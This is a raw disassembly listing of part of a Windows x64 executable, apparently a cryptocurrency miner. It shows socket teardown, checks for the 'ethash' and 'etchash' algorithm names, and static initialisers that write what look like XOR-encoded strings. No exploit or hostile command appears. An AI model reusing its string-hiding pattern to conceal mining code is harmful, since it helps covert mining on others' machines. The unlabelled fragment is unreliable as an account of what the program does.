cmp rcx, 0xffffffffffffffff
je 0x14007eac4
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov byte [rdi + 0x10c], 1
mov rcx, rbx
call fcn.14022f028
test eax, eax
jne 0x14007f602
jmp 0x14007eb26
mov rax, qword [rdi]
mov r8b, 1
mov rcx, rdi
call qword [rax + 0x18]
mov rcx, qword [rdi + 0x50]
cmp rcx, 0xffffffffffffffff
je 0x14007eafe
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rdi + 0x50]
cmp rcx, 0xffffffffffffffff
je 0x14007eb16
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rdi + 0x50], 0xffffffffffffffff
mov rcx, rbx
call fcn.14022f028
test eax, eax
jne 0x14007f60a
mov r8, qword [rsp + 0x70]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x70]
call fcn.1400127a0
mov edx, 0x60
mov rcx, qword [rsp + 0x70]
call fcn.140250e10
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x14007eb6d
mov rcx, rbx
call fcn.14006cc20
mov edx, 0x128
mov rcx, rbx
call fcn.140250e10
nop
mov rcx, qword [rsp + 0x290]
test rcx, rcx
je 0x14007eb84
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rsi, 0x10
mov r14d, dword [rsp + 0x54]
lea rdi, [0x1403cadb0]
jmp 0x14007de4e
lea rcx, [rsp + 0x300]
cmp qword [rsp + 0x318], 0x10
cmovae rcx, qword [rsp + 0x300]
cmp qword [rsp + 0x310], 7
jne 0x14007ebe0
mov r8d, 7
lea rdx, str.UNKNOWN
call fcn.14026fc30
test eax, eax
je 0x14007ecb4
lea rcx, [rsp + 0x300]
call fcn.140039690
mov qword [rsp + 0x330], r12
mov qword [rsp + 0x338], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x320], 0
mov r8d, 6
lea rdx, str.ethash
lea rcx, [rsp + 0x320]
call fcn.140011a50
nop
lea rdx, [rsp + 0x320]
lea rcx, [0x1403ca6b0]
call fcn.140011ff0
lea rcx, [rax + 0x40]
lea rax, [rsp + 0x300]
cmp rcx, rax
je 0x14007ec71
lea rdx, [rsp + 0x300]
cmp qword [rsp + 0x318], 0x10
cmovae rdx, qword [rsp + 0x300]
mov r8, qword [rsp + 0x310]
call fcn.140011a50
nop
mov rdx, qword [rsp + 0x338]
cmp rdx, 0x10
jb 0x14007ecb4
inc rdx
mov rcx, qword [rsp + 0x320]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ecaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f612
call fcn.140250e10
lea rcx, [rsp + 0x2e0]
mov rbx, qword [rsp + 0x2e0]
cmp qword [rsp + 0x2f8], 0x10
cmovae rcx, rbx
cmp qword [rsp + 0x2f0], 7
jne 0x14007ecf6
mov r8d, 7
lea rdx, str.UNKNOWN
call fcn.14026fc30
test eax, eax
je 0x14007edd2
lea rcx, [rsp + 0x2e0]
call fcn.140039690
mov qword [rsp + 0x330], r12
mov qword [rsp + 0x338], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x320], 0
mov r8d, 7
lea rdx, str.etchash
lea rcx, [rsp + 0x320]
call fcn.140011a50
nop
lea rdx, [rsp + 0x320]
lea rcx, [0x1403ca6b0]
call fcn.140011ff0
lea rcx, [rax + 0x40]
lea rax, [rsp + 0x2e0]
cmp rcx, rax
je 0x14007ed87
lea rdx, [rsp + 0x2e0]
cmp qword [rsp + 0x2f8], 0x10
cmovae rdx, qword [rsp + 0x2e0]
mov r8, qword [rsp + 0x2f0]
call fcn.140011a50
nop
mov rdx, qword [rsp + 0x338]
cmp rdx, 0x10
jb 0x14007edca
inc rdx
mov rcx, qword [rsp + 0x320]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007edc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f612
call fcn.140250e10
mov rbx, qword [rsp + 0x2e0]
mov ecx, 0x63
sub ecx, dword [0x1403ca0c8]
sub ecx, r14d
mov eax, dword [reloc.WS2_32.dll_ioctlsocket]
cmp ecx, 0x62
cmovbe eax, r14d
mov dword [reloc.WS2_32.dll_ioctlsocket], eax
mov rdx, qword [rsp + 0x2f8]
cmp rdx, 0x10
jb 0x14007ee31
inc rdx
mov rax, rbx
cmp rdx, 0x1000
jb 0x14007ee29
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f618
mov rcx, rbx
call fcn.140250e10
mov qword [rsp + 0x2f0], r12
mov qword [rsp + 0x2f8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2e0], 0
mov rdx, qword [rsp + 0x318]
cmp rdx, 0x10
jb 0x14007ee90
inc rdx
mov rcx, qword [rsp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ee8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f61e
call fcn.140250e10
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140250db0
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rcx, [0x1403cad78]
call fcn.140251270
cmp dword [0x1403cad78], 0xffffffff
jne 0x14007d74d
movsd xmm0, qword [rsp + 0x2b0]
movsd qword [0x1403cadb0], xmm0
mov eax, dword [rsp + 0x2b8]
mov dword [0x1403cadb8], eax
movzx eax, word [rsp + 0x2bc]
mov word [0x1403cadbc], ax
lea rcx, [0x1402b96d0]
call fcn.140251688
lea rcx, [0x1403cad78]
call fcn.140251210
nop
jmp 0x14007d74d
lea rcx, [0x1403cacf0]
call fcn.140251270
cmp dword [0x1403cacf0], 0xffffffff
jne 0x14007d795
movaps xmmword [0x1403cad50], xmm6
movaps xmmword [0x1403cad60], xmm7
movzx eax, word [rsp + 0x398]
mov word [0x1403cad70], ax
lea rcx, [0x1402b96b0]
call fcn.140251688
lea rcx, [0x1403cacf0]
call fcn.140251210
nop
jmp 0x14007d795
lea rcx, [0x1403cada0]
call fcn.140251270
cmp dword [0x1403cada0], 0xffffffff
jne 0x14007d815
movaps xmmword [0x1403cabd0], xmm6
movsd xmm0, qword [rsp + 0x2a0]
movsd qword [0x1403cabe0], xmm0
movzx eax, word [rsp + 0x2a8]
mov word [0x1403cabe8], ax
lea rcx, [0x1402b9690]
call fcn.140251688
lea rcx, [0x1403cada0]
call fcn.140251210
nop
jmp 0x14007d815
lea rcx, [0x1403cac10]
call fcn.140251270
cmp dword [0x1403cac10], 0xffffffff
jne 0x14007d8a6
movaps xmmword [0x1403cac20], xmm6
movsd xmm0, qword [rsp + 0x2a0]
movsd qword [0x1403cac30], xmm0
mov eax, dword [rsp + 0x2a8]
mov dword [0x1403cac38], eax
movzx eax, word [rsp + 0x2ac]
mov word [0x1403cac3c], ax
mov byte [0x1403cac3e], 0x2e
lea rcx, [0x1402b9660]
call fcn.140251688
lea rcx, [0x1403cac10]
call fcn.140251210
nop
jmp 0x14007d8a6
lea rcx, [0x1403cabec]
call fcn.140251270
cmp dword [0x1403cabec], 0xffffffff
jne 0x14007d907
movaps xmmword [0x1403cac40], xmm6
mov eax, dword [rsp + 0x2a0]
mov dword [0x1403cac50], eax
lea rcx, [0x1402b9640]
call fcn.140251688
lea rcx, [0x1403cabec]
call fcn.140251210
nop
jmp 0x14007d907
lea rcx, [0x1403cac0c]
call fcn.140251270
cmp dword [0x1403cac0c], 0xffffffff
jne 0x14007d988
movaps xmmword [0x1403cad00], xmm6
movsd xmm0, qword [rsp + 0x2a0]
movsd qword [0x1403cad10], xmm0
mov eax, dword [rsp + 0x2a8]
mov dword [0x1403cad18], eax
movzx eax, word [rsp + 0x2ac]
mov word [0x1403cad1c], ax
mov byte [0x1403cad1e], 0x2e
lea rcx, [0x1402b9610]
call fcn.140251688
lea rcx, [0x1403cac0c]
call fcn.140251210
nop
jmp 0x14007d988
lea rcx, [0x1403cac54]
call fcn.140251270
cmp dword [0x1403cac54], 0xffffffff
jne 0x14007d9ff
movaps xmmword [0x1403cad80], xmm6
movsd xmm0, qword [rsp + 0x2a0]
movsd qword [0x1403cad90], xmm0
mov eax, dword [rsp + 0x2a8]
mov dword [0x1403cad98], eax
mov byte [0x1403cad9c], 0x2e
lea rcx, [0x1402b95f0]
call fcn.140251688
lea rcx, [0x1403cac54]
call fcn.140251210
nop
jmp 0x14007d9ff
lea rcx, [0x1403cacd0]
call fcn.140251270
cmp dword [0x1403cacd0], 0xffffffff
jne 0x14007da86
movaps xmmword [0x1403cacb0], xmm6
movsd xmm0, qword [rsp + 0x2a0]
movsd qword [0x1403cacc0], xmm0
mov eax, dword [rsp + 0x2a8]
mov dword [0x1403cacc8], eax
movzx eax, word [rsp + 0x2ac]
mov word [0x1403caccc], ax
mov byte [0x1403cacce], 0x2e
lea rcx, [0x1402b95c0]
call fcn.140251688
lea rcx, [0x1403cacd0]
call fcn.140251210
nop
jmp 0x14007da86
lea rcx, [0x1403cac98]
call fcn.140251270
cmp dword [0x1403cac98], 0xffffffff
jne 0x14007dae6
movaps xmmword [0x1403cab90], xmm6
movzx eax, word [rsp + 0x2a0]
mov word [0x1403caba0], ax
lea rcx, [0x1402b95a0]
call fcn.140251688
lea rcx, [0x1403cac98]
call fcn.140251210
nop
jmp 0x14007dae6
lea rcx, [0x1403cab88]
call fcn.140251270
cmp dword [0x1403cab88], 0xffffffff
jne 0x14007db34
mov dword [0x1403cad40], 0x17475c01
mov dword [0x1403cad44], 0x5c015647
mov word [0x1403cad48], 0x594f
mov byte [0x1403cad4a], 0x2e
lea rcx, [0x1402b9580]
call fcn.140251688
lea rcx, [0x1403cab88]
call fcn.140251210
nop
jmp 0x14007db34
lea rcx, [0x1403cada4]
call fcn.140251270
cmp dword [0x1403cada4], 0xffffffff
jne 0x14007dbbd
movaps xmmword [0x1403cabf0], xmm6
mov eax, dword [rsp + 0x2a0]
mov dword [0x1403cac00], eax
mov byte [0x1403cac04], 0x2e
lea rcx, [0x1402b9560]
call fcn.140251688
lea rcx, [0x1403cada4]
call fcn.140251210
nop
jmp 0x14007dbbd
lea rcx, [0x1403cac08]
call fcn.140251270
cmp dword [0x1403cac08], 0xffffffff
jne 0x14007dc3e
movsd xmm0, qword [rsp + 0x2b0]
movsd qword [0x1403cacd8], xmm0
mov eax, dword [rsp + 0x2b8]
mov dword [0x1403cace0], eax
movzx eax, word [rsp + 0x2bc]
mov word [0x1403cace4], ax
lea rcx, [0x1402b9540]
call fcn.140251688
lea rcx, [0x1403cac08]
call fcn.140251210
nop
jmp 0x14007dc3e
lea rcx, [0x1403cadf4]
call fcn.140251270
cmp dword [0x1403cadf4], 0xffffffff
jne 0x14007dc91
movaps xmmword [0x1403cac80], xmm6
mov eax, dword [rsp + 0x2a0]
mov dword [0x1403cac90], eax
movzx eax, word [rsp + 0x2a4]
mov word [0x1403cac94], ax
mov byte [0x1403cac96], 0x2e
lea rcx, [0x1402b9520]
call fcn.140251688
lea rcx, [0x1403cadf4]
call fcn.140251210
nop
jmp 0x14007dc91
lea rcx, [0x1403cac9c]
call fcn.140251270
cmp dword [0x1403cac9c], 0xffffffff
jne 0x14007dd16
movaps xmmword [0x1403cac60], xmm6
movsd xmm0, qword [rsp + 0x2a0]
movsd qword [0x1403cac70], xmm0
mov eax, dword [rsp + 0x2a8]
mov dword [0x1403cac78], eax
movzx eax, word [rsp + 0x2ac]
mov word [0x1403cac7c], ax
mov byte [0x1403cac7e], 0x2e
lea rcx, [0x1402b94f0]
call fcn.140251688
lea rcx, [0x1403cac9c]
call fcn.140251210
nop
jmp 0x14007dd16
lea rcx, [0x1403caba4]
call fcn.140251270
cmp dword [0x1403caba4], 0xffffffff
jne 0x14007dd81
movaps xmmword [0x1403cabb0], xmm6
mov eax, dword [rsp + 0x2a0]
mov dword [0x1403cabc0], eax
movzx eax, word [rsp + 0x2a4]
mov word [0x1403cabc4], ax
lea rcx, [0x1402b94d0]
call fcn.140251688
lea rcx, [0x1403caba4]
call fcn.140251210
nop
jmp 0x14007dd81
lea rcx, [0x1403cad74]
call fcn.140251270
cmp dword [0x1403cad74], 0xffffffff
jne 0x14007de06
movaps xmmword [0x1403cadc0], xmm6
movsd xmm0, qword [rsp + 0x2a0]
movsd qword [0x1403cadd0], xmm0
mov eax, dword [rsp + 0x2a8]
mov dword [0x1403cadd8], eax
movzx eax, word [rsp + 0x2ac]
mov word [0x1403caddc], ax
mov byte [0x1403cadde], 0x2e
lea rcx, [0x1402b94a0]
call fcn.140251688
lea rcx, [0x1403cad74]
call fcn.140251210
nop
jmp 0x14007de06
call fcn.14027fd34
nop
call fcn.14027fd34
nop
call fcn.14027fd34
nop
call fcn.14027fd34
nop
call fcn.14027fd34
nop
lea rcx, [0x1403cab84]
call fcn.140251270
cmp dword [0x1403cab84], 0xffffffff
jne 0x14007e541
mov dword [0x1403caca0], 0x4f465a4b
mov word [0x1403caca4], 0x465d
mov byte [0x1403caca6], 0x2e
lea rcx, [0x1402b9480]
call fcn.140251688
lea rcx, [0x1403cab84]
call fcn.140251210
nop
jmp 0x14007e541
call fcn.14027fd34
nop
lea rcx, [0x1403cada8]
call fcn.140251270
cmp dword [0x1403cada8], 0xffffffff
jne 0x14007e6cc
mov dword [0x1403cace8], 0x464d5a4b
mov dword [0x1403cacec], 0x2e465d4f
lea rcx, [0x1402b9470]
call fcn.140251688
lea rcx, [0x1403cada8]
call fcn.140251210
nop
jmp 0x14007e6cc
call fcn.14027fd34
nop
lea rcx, [0x1403cacf4]
call fcn.140251270
cmp dword [0x1403cacf4], 0xffffffff
jne 0x14007e93a
movaps xmmword [0x1403cade0], xmm6
mov eax, dword [rsp + 0x370]
mov dword [0x1403cadf0], eax
lea rcx, [0x1402b9450]
call fcn.140251688
lea rcx, [0x1403cacf4]
call fcn.140251210
nop
jmp 0x14007e93a
call fcn.14027fd34
int3
mov ecx, eax
call fcn.14022e220
nop
mov ecx, eax
call fcn.14022e220
nop
mov ecx, eax
call fcn.14022e220
nop
call fcn.14027fd34
nop
call fcn.14027fd34
nop
call fcn.14027fd34
int3